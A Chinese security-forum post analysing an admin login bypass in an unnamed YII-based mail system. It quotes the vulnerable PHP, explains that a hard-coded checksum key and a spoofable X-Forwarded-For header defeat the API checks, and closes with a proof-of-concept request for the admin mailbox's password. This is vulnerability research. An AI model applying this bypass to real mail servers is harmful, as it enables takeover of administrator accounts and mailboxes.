问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某邮件系统后台管理员任意登录分析
某邮件系统后台管理员任意登录分析
0x00 前言 ------- 近期拿到了某邮件系统的一套源码,看到是YII框架编写的,本着学习YII框架出发,顺带对该套系统进行了审计。 0x01 YII框架路由初识 -------------- YII框架支持两种URL构造格式,分别为默认的格式和漂亮格式,漂亮格式使用额外的路径跟在入口脚本名之后,来展现路由和相关参数,默认格式`/index.php?r=post/view&id=100` 的路由为`post/view`和参数id为100,使用漂亮格式则简化成`/index.php/post/100`。 ![image-20210326115135883](https://shs3.b.qianxin.com/butian_public/f28967689da0c6b3109ce9f0b57f3aef999532f63543f.jpg) YII框架使用MVC模式进行开发,如果不了解MVC模式可以参考链接,不再赘述:<https://www.yiichina.com/doc/guide/1.1/basics.mvc> 想访问API目录下的controller 目录中的`abccontroller.php`内的`public function add()`方法,可如下构造 <http://127.0.0.1/api/index.php?r=abc/add> 0x02 漏洞挖掘-任意登录 -------------- 在api/controllers/PostController.php中存在一个模拟登陆方法: ```php public function mockLogin() { $language = $this->getParamFromRequest( "language" ); $name = $this->getParamFromRequest( 'domain' ); if (isset( $name ) && isset( $language )) { $username = "admin"; if (! in_array( $language, array ("cn", "tw", "en" ) )) { $this->returnErrorCode( CommonCode::COMMON_PARAM_ERROR, array ('{0}' => 'language' ) ); } if (! ParameterChecker::checkLength( $name, Constants::DOMAIN_NAME_MAX_LENGTH )) { $this->returnErrorCode( CommonCode::COMMON_DOMAIN_LENGTH_WRONG ); } $domain = ServiceFactory::getDomainService()->getDomainByName( PunyCode::encode( strtolower( $name ) ) ); if ($domain == null) { $this->returnErrorCode( CommonCode::COMMON_DOMAIN_IS_NOT_EXISTS ); } $domainName = PunyCode::encode( $name ); $password = (empty($domain))?"":$domain["po_pwd"]; $otime = time(); $sysflag = 'sysmanage'; $checksum = md5( $sysflag . $username . $domainName . $password. $language . time() . Config::MONI_CHECKSUM_KEY ); $url = "http://" . ClientUtils::getHttpHost() . "/post/post.php?r=site/analogLogin&sysflag=$sysflag&lan=$language&domain=$domainName&username=$username&checksum=$checksum&otime=$otime"; header( "location:$url" ); } else { $this->returnErrorCode( CommonCode::COMMON_PARAM_INCOMPLETE ); } } ``` ![image-20210411141359477](https://shs3.b.qianxin.com/butian_public/f78490259cb1cf9ded89524f2caad9fc780ce488369d5.jpg) 获取参数language和domain确定语言与域,传入 经过校验以后与`po_pwd`、`MONI_CHECKSUM_KEY`等结合起来构造校验的$checksum,成功进行登录。该接口需要验证,直接构造无法通过验证。 接下来跟到上文中提到的验证的位置,该位置为所有API方法调用时必须校验的方法: api/classes/ApiController.php ```php private function checkServerTypeParams() { if (! in_array( ClientUtils::getClientIP(), Config::getApiAllowUserIps() )) { $this->returnErrorCode( CommonCode::COMMON_ILLEGAL_IP_SOURCE ); } $id = $this->getParamFromRequest( 'id' ); $time = $this->getParamFromRequest( 'otime' ); if (! ParameterChecker::checkLength( $time, 20 )) { $this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECK_PARAM ); } if (! ParameterChecker::checkIsDate( $time )) { $this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECK_PARAM ); } $checkSum = $this->getParamFromRequest( 'ochecksum' ); if (! ParameterChecker::checkLength( $checkSum, 32 )) { $this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECK_PARAM ); } $md5String = md5( $id . $time . Config::API_CHECKSUM_KEY ); if ($md5String != $checkSum) { $this->returnErrorCode( CommonCode::COMMON_ILLEGAL_CHECKSUM ); } } ``` ![image-20210526154435460](https://shs3.b.qianxin.com/butian_public/f2976640b8d02ad062c422717421210ed027645333a7a.jpg) 可以看到该接口需要获取IP,并且与可允许的IP进行匹配,如果为同一个IP则进入该方法。 进入该验证方法以后前端传入`ID`,`OTIME`与`ONCHECKSUM`进行验证,其中ID为固定ID,为模拟登陆模式,time为日期形式可以是随便一个日期只要符合条件就行,`ONCHECKSUM`则与`ID`,`OTIME`和`API_CHECKSUM_KEY`三者拼接起来的md5校验是否一致,最终校验通过以后验证通过,可以执行后续方法。 如图为ID固定ID: ![image-20210411142840006](https://shs3.b.qianxin.com/butian_public/f138597c0278b4356e1f103ce9bb8f7b936c89ce1651c.jpg) 加密时需要一个`API_CHECKSUM_KEY`,全局搜索发现该key同样硬件key: ![key写死](https://shs3.b.qianxin.com/butian_public/f8f5345fb1016f2c843fb6307b4501772.png) 所以`ONCHECKSUM`成功可以构造。但是需要进入`checkServerTypeParams`方法,仍需要验证IP,我们跟一下`getApiAllowUserIps`,发现可以被绕过: ![获取ip](https://shs3.b.qianxin.com/butian_public/f1002443f9e4f2aa07cc062f7e026d52fdaa820b849ae.jpg) 看到了熟悉的获取`x-forwarded-for`,可以实现伪造,在看`$realip`的定义,直接固定ip写在代码里: ![ip绕过](https://shs3.b.qianxin.com/butian_public/f08e8e92cab894fe83c829856a71fc6be.png) 可以利用插件X-Forwarded-For Header伪造`x-forwarded-for`: ![img](https://shs3.b.qianxin.com/butian_public/f862401c045f626dec22e968544c66ce54356b6a9ca8a.jpg) 结合以上所有点最终能够实现模拟登陆的功能 poc: ```html http://mail.a.com/api/index.php?r=Mailbox/getPassword id=cm&otime=2021-03-11&ochecksum=083d71127d5ad99f8907358db2c8320a&language=cn&domain=a.com&mailbox=admin@a.com ```
发表于 2021-05-26 17:05:02
阅读 ( 6150 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!